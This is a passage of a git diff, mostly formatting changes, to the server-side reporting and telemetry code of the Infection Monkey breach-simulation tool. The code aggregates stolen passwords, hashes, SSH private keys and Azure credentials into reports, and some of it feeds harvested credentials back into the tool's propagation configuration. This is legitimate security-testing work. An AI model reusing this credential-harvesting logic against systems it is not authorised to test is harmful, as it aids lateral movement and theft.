"data.credentials":{"$exists":True}}, + {"data.credentials":1, "monkey_guid":1}, ): creds = telem["data"]["credentials"] origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] @@ -219,8 +224,8 @@ def _get_credentials_from_system_info_telems(): def _get_credentials_from_exploit_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find( - {"telem_category": "exploit", "data.info.credentials": {"$exists": True}}, - {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1}, + {"telem_category":"exploit", "data.info.credentials":{"$exists":True}}, + {"data.info.credentials":1, "data.machine":1, "monkey_guid":1}, ): creds = telem["data"]["info"]["credentials"] domain_name = telem["data"]["machine"]["domain_name"] @@ -233,9 +238,9 @@ def _get_credentials_from_exploit_telems(): def _format_creds_for_reporting(telem, monkey_creds, origin): creds = [] CRED_TYPE_DICT = { - "password": "Clear Password", - "lm_hash": "LM hash", - "ntlm_hash": "NTLM hash", + "password":"Clear Password", + "lm_hash":"LM hash", + "ntlm_hash":"NTLM hash", } if len(monkey_creds) == 0: return [] @@ -248,9 +253,9 @@ def _format_creds_for_reporting(telem, monkey_creds, origin): monkey_creds[user]["username"] if "username" in monkey_creds[user] else user ) cred_row = { - "username": username, - "type": CRED_TYPE_DICT[cred_type], - "origin": origin, + "username":username, + "type":CRED_TYPE_DICT[cred_type], + "origin":origin, } if cred_row not in creds: creds.append(cred_row) @@ -264,26 +269,26 @@ def get_ssh_keys(): """ creds = [] for telem in mongo.db.telemetry.find( - {"telem_category": "system_info", "data.ssh_info": {"$exists": True}}, - {"data.ssh_info": 1, "monkey_guid": 1}, + {"telem_category":"system_info", "data.ssh_info":{"$exists":True}}, + {"data.ssh_info":1, "monkey_guid":1}, ): origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] if telem["data"]["ssh_info"]: # Pick out all ssh keys not yet included in creds ssh_keys = [ { - "username": key_pair["name"], - "type": "Clear SSH private key", - "origin": origin, + "username":key_pair["name"], + "type":"Clear SSH private key", + "origin":origin, } for key_pair in telem["data"]["ssh_info"] if key_pair["private_key"] - and { - "username": key_pair["name"], - "type": "Clear SSH private key", - "origin": origin, - } - not in creds + and { + "username":key_pair["name"], + "type":"Clear SSH private key", + "origin":origin, + } + not in creds ] creds.extend(ssh_keys) return creds @@ -296,15 +301,15 @@ def get_azure_creds(): """ creds = [] for telem in mongo.db.telemetry.find( - {"telem_category": "system_info", "data.Azure": {"$exists": True}}, - {"data.Azure": 1, "monkey_guid": 1}, + {"telem_category":"system_info", "data.Azure":{"$exists":True}}, + {"data.Azure":1, "monkey_guid":1}, ): azure_users = telem["data"]["Azure"]["usernames"] if len(azure_users) == 0: continue origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] azure_leaked_users = [ - {"username": user.replace(",", "."), "type": "Clear Password", "origin": origin} + {"username":user.replace(",", "."), "type":"Clear Password", "origin":origin} for user in azure_users ] creds.extend(azure_leaked_users) @@ -323,14 +328,14 @@ def process_exploit(exploit) -> ExploiterReportInfo: @staticmethod def get_exploits() -> List[dict]: query = [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match":{"telem_category":"exploit", "data.result":True}}, { - "$group": { - "_id": {"ip_address": "$data.machine.ip_addr"}, - "data": {"$first": "$$ROOT"}, + "$group":{ + "_id":{"ip_address":"$data.machine.ip_addr"}, + "data":{"$first":"$$ROOT"}, } }, - {"$replaceRoot": {"newRoot": "$data"}}, + {"$replaceRoot":{"newRoot":"$data"}}, ] exploits = [] for exploit in mongo.db.telemetry.aggregate(query): @@ -342,8 +347,8 @@ def get_exploits() -> List[dict]: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {"telem_category": "system_info", "monkey_guid": monkey_guid}, - {"data.network_info.networks": 1}, + {"telem_category":"system_info", "monkey_guid":monkey_guid}, + {"data.network_info.networks":1}, ) if network_info is None or not network_info["data"]: return [] @@ -358,7 +363,7 @@ def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() for monkey in mongo.db.monkey.find( - {"tunnel": {"$exists": False}}, {"tunnel": 1, "guid": 1, "hostname": 1} + {"tunnel":{"$exists":False}}, {"tunnel":1, "guid":1, "hostname":1} ): found_good_ip = False monkey_subnets = ReportService.get_monkey_subnets(monkey["guid"]) @@ -371,12 +376,12 @@ def get_island_cross_segment_issues(): break if not found_good_ip: issues.append( - { - "type": "island_cross_segment", - "machine": monkey["hostname"], - "networks": [str(subnet) for subnet in monkey_subnets], - "server_networks": [str(subnet) for subnet in get_subnets()], - } + { + "type":"island_cross_segment", + "machine":monkey["hostname"], + "networks":[str(subnet) for subnet in monkey_subnets], + "server_networks":[str(subnet) for subnet in get_subnets()], + } ) return issues @@ -384,15 +389,18 @@ def get_island_cross_segment_issues(): @staticmethod def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): """ - Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the + Gets list of cross segment issues of a single machine. Meaning a machine has an interface + for each of the subnets. - :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet. - :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet. + :param source_subnet_range: The subnet range which shouldn't be able to access + target_subnet. + :param target_subnet_range: The subnet range which shouldn't be accessible from + source_subnet. :return: """ cross_segment_issues = [] - for monkey in mongo.db.monkey.find({}, {"ip_addresses": 1, "hostname": 1}): + for monkey in mongo.db.monkey.find({}, {"ip_addresses":1, "hostname":1}): ip_in_src = None ip_in_dst = None for ip_addr in monkey["ip_addresses"]: @@ -411,13 +419,13 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne if ip_in_dst: cross_segment_issues.append( - { - "source": ip_in_src, - "hostname": monkey["hostname"], - "target": ip_in_dst, - "services": None, - "is_self": True, - } + { + "source":ip_in_src, + "hostname":monkey["hostname"], + "target":ip_in_dst, + "services":None, + "is_self":True, + } ) return cross_segment_issues @@ -426,7 +434,8 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): """ Gets list of cross segment issues from source_subnet to target_subnet. - :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param scans: List of all scan telemetry entries. Must have monkey_guid, + ip_addr and services. This should be a PyMongo cursor object. :param source_subnet: The subnet which shouldn't be able to access target_subnet. :param target_subnet: The subnet which shouldn't be accessible from source_subnet. @@ -445,30 +454,31 @@ def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet if target_subnet_range.is_in_range(str(target_ip)): monkey = NodeService.get_monkey_by_guid(scan["monkey_guid"]) cross_segment_ip = get_ip_in_src_and_not_in_dst( - monkey["ip_addresses"], source_subnet_range, target_subnet_range + monkey["ip_addresses"], source_subnet_range, target_subnet_range ) if cross_segment_ip is not None: cross_segment_issues.append( - { - "source": cross_segment_ip, - "hostname": monkey["hostname"], - "target": target_ip, - "services": scan["data"]["machine"]["services"], - "icmp": scan["data"]["machine"]["icmp"], - "is_self": False, - } + { + "source":cross_segment_ip, + "hostname":monkey["hostname"], + "target":target_ip, + "services":scan["data"]["machine"]["services"], + "icmp":scan["data"]["machine"]["icmp"], + "is_self":False, + } ) return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( - source_subnet_range, target_subnet_range + source_subnet_range, target_subnet_range ) @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): """ Gets list of cross segment issues within given subnet_group. - :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param scans: List of all scan telemetry entries. Must have monkey_guid, + ip_addr and services. This should be a PyMongo cursor object. :param subnet_group: List of subnets which shouldn't be accessible from each other. :return: Cross segment issues regarding the subnets in the group. @@ -479,15 +489,15 @@ def get_cross_segment_issues_per_subnet_group(scans, subnet_group): source_subnet = subnet_pair[0] target_subnet = subnet_pair[1] pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair( - scans, source_subnet, target_subnet + scans, source_subnet, target_subnet ) if len(pair_issues) != 0: cross_segment_issues.append( - { - "source_subnet": source_subnet, - "target_subnet": target_subnet, - "issues": pair_issues, - } + { + "source_subnet":source_subnet, + "target_subnet":target_subnet, + "issues":pair_issues, + } ) return cross_segment_issues @@ -495,13 +505,13 @@ def get_cross_segment_issues_per_subnet_group(scans, subnet_group): @staticmethod def get_cross_segment_issues(): scans = mongo.db.telemetry.find( - {"telem_category": "scan"}, - { - "monkey_guid": 1, - "data.machine.ip_addr": 1, - "data.machine.services": 1, - "data.machine.icmp": 1, - }, + {"telem_category":"scan"}, + { + "monkey_guid":1, + "data.machine.ip_addr":1, + "data.machine.services":1, + "data.machine.icmp":1, + }, ) cross_segment_issues = [] @@ -511,7 +521,7 @@ def get_cross_segment_issues(): for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group( - scans, subnet_group + scans, subnet_group ) return cross_segment_issues @@ -522,7 +532,7 @@ def get_domain_issues(): PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_shared_admins_issues, ] - issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + issues = functools.reduce(lambda acc, issue_gen:acc + issue_gen(), ISSUE_GENERATORS, []) domain_issues_dict = {} for issue in issues: if not issue.get("is_local", True): @@ -539,7 +549,7 @@ def get_domain_issues(): @staticmethod def get_machine_aws_instance_id(hostname): aws_instance_id_list = list( - mongo.db.monkey.find({"hostname": hostname}, {"aws_instance_id": 1}) + mongo.db.monkey.find({"hostname":hostname}, {"aws_instance_id":1}) ) if aws_instance_id_list: if "aws_instance_id" in aws_instance_id_list[0]: @@ -551,7 +561,7 @@ def get_machine_aws_instance_id(hostname): def get_manual_monkeys(): return [ monkey["hostname"] - for monkey in mongo.db.monkey.find({}, {"hostname": 1, "parent": 1, "guid": 1}) + for monkey in mongo.db.monkey.find({}, {"hostname":1, "parent":1, "guid":1}) if NodeService.get_monkey_manual_run(monkey) ] @@ -605,29 +615,29 @@ def get_issue_set(issues, config_users, config_passwords): @staticmethod def _is_weak_credential_issue( - issue: dict, config_usernames: List[str], config_passwords: List[str] + issue: dict, config_usernames: List[str], config_passwords: List[str] ) -> bool: # Only credential exploiter issues have 'credential_type' return ( - "credential_type" in issue - and issue["credential_type"] == CredentialType.PASSWORD.value - and issue["password"] in config_passwords - and issue["username"] in config_usernames + "credential_type" in issue + and issue["credential_type"] == CredentialType.PASSWORD.value + and issue["password"] in config_passwords + and issue["username"] in config_usernames ) @staticmethod def _is_stolen_credential_issue(issue: dict) -> bool: # Only credential exploiter issues have 'credential_type' return "credential_type" in issue and ( - issue["credential_type"] == CredentialType.PASSWORD.value - or issue["credential_type"] == CredentialType.HASH.value + issue["credential_type"] == CredentialType.PASSWORD.value + or issue["credential_type"] == CredentialType.HASH.value ) @staticmethod def _is_zerologon_pass_restore_failed(issue: dict): return ( - issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name - and not issue["password_restored"] + issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name + and not issue["password_restored"] ) @staticmethod @@ -648,30 +658,30 @@ def generate_report(): scanned_nodes = ReportService.get_scanned() exploited_nodes = ReportService.get_exploited() report = { - "overview": { - "manual_monkeys": ReportService.get_manual_monkeys(), - "config_users": config_users, - "config_passwords": config_passwords, - "config_exploits": ReportService.get_config_exploits(), - "config_ips": ReportService.get_config_ips(), - "config_scan": ReportService.get_config_scan(), - "monkey_start_time": ReportService.get_first_monkey_time().strftime( - "%d/%m/%Y %H:%M:%S" + "overview":{ + "manual_monkeys":ReportService.get_manual_monkeys(), + "config_users":config_users, + "config_passwords":config_passwords, + "config_exploits":ReportService.get_config_exploits(), + "config_ips":ReportService.get_config_ips(), + "config_scan":ReportService.get_config_scan(), + "monkey_start_time":ReportService.get_first_monkey_time().strftime( + "%d/%m/%Y %H:%M:%S" ), - "monkey_duration": ReportService.get_monkey_duration(), - "issues": issue_set, - "cross_segment_issues": cross_segment_issues, + "monkey_duration":ReportService.get_monkey_duration(), + "issues":issue_set, + "cross_segment_issues":cross_segment_issues, }, - "glance": { - "scanned": scanned_nodes, - "exploited": exploited_nodes, - "stolen_creds": ReportService.get_stolen_creds(), - "azure_passwords": ReportService.get_azure_creds(), - "ssh_keys": ReportService.get_ssh_keys(), - "strong_users": PTHReportService.get_strong_users_on_crit_details(), + "glance":{ + "scanned":scanned_nodes, + "exploited":exploited_nodes, + "stolen_creds":ReportService.get_stolen_creds(), + "azure_passwords":ReportService.get_azure_creds(), + "ssh_keys":ReportService.get_ssh_keys(), + "strong_users":PTHReportService.get_strong_users_on_crit_details(), }, - "recommendations": {"issues": issues, "domain_issues": domain_issues}, - "meta": {"latest_monkey_modifytime": monkey_latest_modify_time}, + "recommendations":{"issues":issues, "domain_issues":domain_issues}, + "meta":{"latest_monkey_modifytime":monkey_latest_modify_time}, } ReportExporterManager().export(report) mongo.db.report.drop() @@ -690,7 +700,7 @@ def get_issues(): PTHReportService.get_strong_users_on_crit_issues, ] - issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + issues = functools.reduce(lambda acc, issue_gen:acc + issue_gen(), ISSUE_GENERATORS, []) issues_dict = {} for issue in issues: @@ -708,7 +718,8 @@ def get_issues(): @staticmethod def encode_dot_char_before_mongo_insert(report_dict): """ - mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' + char with the unicode ,,, combo instead. :return: dict with formatted keys with no dots. """ @@ -719,9 +730,10 @@ def encode_dot_char_before_mongo_insert(report_dict): def is_latest_report_exists(): """ This function checks if a monkey report was already generated and if it's the latest one. - :return: True if report is the latest one, False if there isn't a report or its not the latest. + :return: True if report is the latest one, False if there isn't a report or its not the + latest. """ - latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime": 1}) + latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime":1}) if latest_report_doc: report_latest_modifytime = latest_report_doc["meta"]["latest_monkey_modifytime"] @@ -739,7 +751,7 @@ def delete_saved_report_if_exists(): delete_result = mongo.db.report.delete_many({}) if mongo.db.report.count_documents({}) != 0: raise RuntimeError( - "Report cache not cleared. DeleteResult: " + delete_result.raw_result + "Report cache not cleared. DeleteResult: " + delete_result.raw_result ) @staticmethod @@ -760,8 +772,9 @@ def get_report(): @staticmethod def did_exploit_type_succeed(exploit_type): return ( - mongo.db.edge.count( - {"exploits": {"$elemMatch": {"exploiter": exploit_type, "result": True}}}, limit=1 - ) - > 0 + mongo.db.edge.count( + {"exploits":{"$elemMatch":{"exploiter":exploit_type, "result":True}}}, + limit=1 + ) + > 0 ) diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py index dec13e6d60a..38f7ee9cbf4 100644 --- a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py +++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py @@ -4,8 +4,10 @@ logger = logging.getLogger(__name__) -# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate a report at a time. -# Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without +# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate +# a report at a time. +# Report generation can be quite slow if there is a lot of data, and the UI queries the Root +# service often; without # the locks, these requests would accumulate, overload the server, eventually causing it to crash. logger.debug("Initializing report generation locks.") __report_generating_lock = BoundedSemaphore() diff --git a/monkey/monkey_island/cc/services/reporting/test_report.py b/monkey/monkey_island/cc/services/reporting/test_report.py index cf446c7570d..89b08fd117e 100644 --- a/monkey/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_report.py @@ -4,41 +4,41 @@ from monkey_island.cc.services.reporting.report import ReportService NODE_DICT = { - "id": "602f62118e30cf35830ff8e4", - "label": "WinDev2010Eval.mshome.net", - "group": "monkey_windows", - "os": "windows", - "dead": True, - "exploits": [ + "id":"602f62118e30cf35830ff8e4", + "label":"WinDev2010Eval.mshome.net", + "group":"monkey_windows", + "os":"windows", + "dead":True, + "exploits":[ { - "result": True, - "exploiter": "DrupalExploiter", - "info": { - "display_name": "Drupal Server", - "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], + "result":True, + "exploiter":"DrupalExploiter", + "info":{ + "display_name":"Drupal Server", + "started":datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "finished":datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "vulnerable_urls":[], + "vulnerable_ports":[], + "executed_cmds":[], }, - "attempts": [], - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "origin": "MonkeyIsland : 192.168.56.1", + "attempts":[], + "timestamp":datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "origin":"MonkeyIsland : 192.168.56.1", }, { - "result": True, - "exploiter": "ElasticGroovyExploiter", - "info": { - "display_name": "Elastic search", - "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), - "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], + "result":True, + "exploiter":"ElasticGroovyExploiter", + "info":{ + "display_name":"Elastic search", + "started":datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + "finished":datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + "vulnerable_urls":[], + "vulnerable_ports":[], + "executed_cmds":[], }, - "attempts": [], - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), - "origin": "MonkeyIsland : 192.168.56.1", + "attempts":[], + "timestamp":datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + "origin":"MonkeyIsland : 192.168.56.1", }, ], } diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py index 8aadc0bed8d..be622b61234 100644 --- a/monkey/monkey_island/cc/services/representations_test.py +++ b/monkey/monkey_island/cc/services/representations_test.py @@ -12,35 +12,35 @@ def test_normalize_obj(self): self.assertEqual({}, normalize_obj({})) # no special content - self.assertEqual({"a": "a"}, normalize_obj({"a": "a"})) + self.assertEqual({"a":"a"}, normalize_obj({"a":"a"})) # _id field -> id field - self.assertEqual({"id": 12345}, normalize_obj({"_id": 12345})) + self.assertEqual({"id":12345}, normalize_obj({"_id":12345})) # obj id field -> str obj_id_str = "123456789012345678901234" self.assertEqual( - {"id": obj_id_str}, normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) + {"id":obj_id_str}, normalize_obj({"_id":bson.objectid.ObjectId(obj_id_str)}) ) # datetime -> str dt = datetime.now() - expected = {"a": str(dt)} - result = normalize_obj({"a": dt}) + expected = {"a":str(dt)} + result = normalize_obj({"a":dt}) self.assertEqual(expected, result) # dicts and lists self.assertEqual( - {"a": [{"ba": obj_id_str, "bb": obj_id_str}], "b": {"id": obj_id_str}}, - normalize_obj( - { - "a": [ + {"a":[{"ba":obj_id_str, "bb":obj_id_str}], "b":{"id":obj_id_str}}, + normalize_obj( { - "ba": bson.objectid.ObjectId(obj_id_str), - "bb": bson.objectid.ObjectId(obj_id_str), + "a":[ + { + "ba":bson.objectid.ObjectId(obj_id_str), + "bb":bson.objectid.ObjectId(obj_id_str), + } + ], + "b":{"_id":bson.objectid.ObjectId(obj_id_str)}, } - ], - "b": {"_id": bson.objectid.ObjectId(obj_id_str)}, - } - ), + ), ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 6eb759b211e..d3c5cb37af3 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -23,11 +23,11 @@ def process_exploit_telemetry(telemetry_json): add_exploit_extracted_creds_to_config(telemetry_json) check_machine_exploited( - current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["result"], - exploiter=telemetry_json["data"]["exploiter"], - target_ip=telemetry_json["data"]["machine"]["ip_addr"], - timestamp=telemetry_json["timestamp"], + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), + exploit_successful=telemetry_json["data"]["result"], + exploiter=telemetry_json["data"]["exploiter"], + target_ip=telemetry_json["data"]["machine"]["ip_addr"], + timestamp=telemetry_json["timestamp"], ) @@ -47,7 +47,7 @@ def add_exploit_extracted_creds_to_config(telemetry_json): def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json["data"]["attempts"]: if attempt["result"]: - found_creds = {"user": attempt["user"]} + found_creds = {"user":attempt["user"]} for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]: if len(attempt[field]) != 0: found_creds[field] = attempt[field] @@ -56,10 +56,10 @@ def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetr def update_network_with_exploit(edge: EdgeService, telemetry_json): telemetry_json["data"]["info"]["started"] = dateutil.parser.parse( - telemetry_json["data"]["info"]["started"] + telemetry_json["data"]["info"]["started"] ) telemetry_json["data"]["info"]["finished"] = dateutil.parser.parse( - telemetry_json["data"]["info"]["finished"] + telemetry_json["data"]["info"]["finished"] ) new_exploit = copy.deepcopy(telemetry_json["data"]) new_exploit.pop("machine") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index be7b6e7ea05..7ccbb2e96ca 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -18,7 +18,7 @@ def process_communicate_as_new_user_telemetry(telemetry_json): POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { - POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, + POST_BREACH_COMMUNICATE_AS_NEW_USER:process_communicate_as_new_user_telemetry, } @@ -55,5 +55,5 @@ def add_message_for_blank_outputs(data): def update_data(telemetry_json, data): mongo.db.monkey.update( - {"guid": telemetry_json["monkey_guid"]}, {"$push": {"pba_results": data}} + {"guid":telemetry_json["monkey_guid"]}, {"$push":{"pba_results":data}} ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 667928d3ce1..8a3bc9b78fe 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -12,16 +12,16 @@ logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { - TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, - TelemCategoryEnum.STATE: process_state_telemetry, - TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, - TelemCategoryEnum.SCAN: process_scan_telemetry, - TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, - TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, - TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, + TelemCategoryEnum.TUNNEL:process_tunnel_telemetry, + TelemCategoryEnum.STATE:process_state_telemetry, + TelemCategoryEnum.EXPLOIT:process_exploit_telemetry, + TelemCategoryEnum.SCAN:process_scan_telemetry, + TelemCategoryEnum.SYSTEM_INFO:process_system_info_telemetry, + TelemCategoryEnum.POST_BREACH:process_post_breach_telemetry, + TelemCategoryEnum.SCOUTSUITE:process_scoutsuite_telemetry, # `lambda *args, **kwargs: None` is a no-op. - TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, - TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, + TelemCategoryEnum.TRACE:lambda *args, **kwargs:None, + TelemCategoryEnum.ATTACK:lambda *args, **kwargs:None, } @@ -34,5 +34,5 @@ def process_telemetry(telemetry_json): logger.info("Got unknown type of telemetry: %s" % telem_category) except Exception as ex: logger.error( - "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True + "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 764cd304499..194797a9831 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -25,16 +25,16 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) edge.update_based_on_scan_telemetry(telemetry_json) - node = mongo.db.node.find_one({"_id": edge.dst_node_id}) + node = mongo.db.node.find_one({"_id":edge.dst_node_id}) if node is not None: scan_os = telemetry_json["data"]["machine"]["os"] if "type" in scan_os: mongo.db.node.update( - {"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}}, upsert=False + {"_id":node["_id"]}, {"$set":{"os.type":scan_os["type"]}}, upsert=False ) if "version" in scan_os: mongo.db.node.update( - {"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}}, upsert=False + {"_id":node["_id"]}, {"$set":{"os.version":scan_os["version"]}}, upsert=False ) label = NodeService.get_label_for_endpoint(node["_id"]) edge.update_label(node["_id"], label) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 5f2677bcbb5..2584179fa10 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -34,5 +34,5 @@ def create_scoutsuite_findings(cloud_services: dict): def update_data(telemetry_json): mongo.db.scoutsuite.insert_one( - {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]} + {"guid":telemetry_json["monkey_guid"]}, {"results":telemetry_json["data"]} ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 8749cc730c1..3ab6430effe 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -23,5 +23,6 @@ def process_state_telemetry(telemetry_json): if telemetry_json["data"]["version"]: logger.info( - f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}" + f"monkey {telemetry_json['monkey_guid']} has version " + f"{telemetry_json['data']['version']}" ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 3313b763d0b..a0a16d72cf6 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -3,7 +3,8 @@ from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors\ + .system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, ) from monkey_island.cc.services.wmi_handler import WMIHandler @@ -20,7 +21,8 @@ def process_system_info_telemetry(telemetry_json): dispatcher.dispatch_collector_results_to_relevant_processors, ] - # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of + # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of + # failing the rest of # them, as they are independent. for stage in telemetry_processing_stages: safe_process_telemetry(stage, telemetry_json) @@ -32,10 +34,10 @@ def safe_process_telemetry(processing_function, telemetry_json): processing_function(telemetry_json) except Exception as err: logger.error( - "Error {} while in {} stage of processing telemetry.".format( - str(err), processing_function.__name__ - ), - exc_info=True, + "Error {} while in {} stage of processing telemetry.".format( + str(err), processing_function.__name__ + ), + exc_info=True, ) @@ -44,7 +46,8 @@ def process_ssh_info(telemetry_json): ssh_info = telemetry_json["data"]["ssh_info"] encrypt_system_info_ssh_keys(ssh_info) if telemetry_json["data"]["network_info"]["networks"]: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip + # from telemetry add_ip_to_ssh_keys(telemetry_json["data"]["network_info"]["networks"][0], ssh_info) add_system_info_ssh_keys_to_config(ssh_info) @@ -55,7 +58,7 @@ def add_system_info_ssh_keys_to_config(ssh_info): # Public key is useless without private key if user["public_key"] and user["private_key"]: ConfigService.ssh_add_keys( - user["public_key"], user["private_key"], user["name"], user["ip"] + user["public_key"], user["private_key"], user["name"], user["ip"] ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py index 0fae438d4d2..c188db97d76 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py @@ -13,5 +13,6 @@ def process_aws_telemetry(collector_results, monkey_guid): relevant_monkey.aws_instance_id = instance_id relevant_monkey.save() logger.debug( - "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id) + "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), + instance_id) ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 894bdce75f0..adb8d5f3309 100644 --- 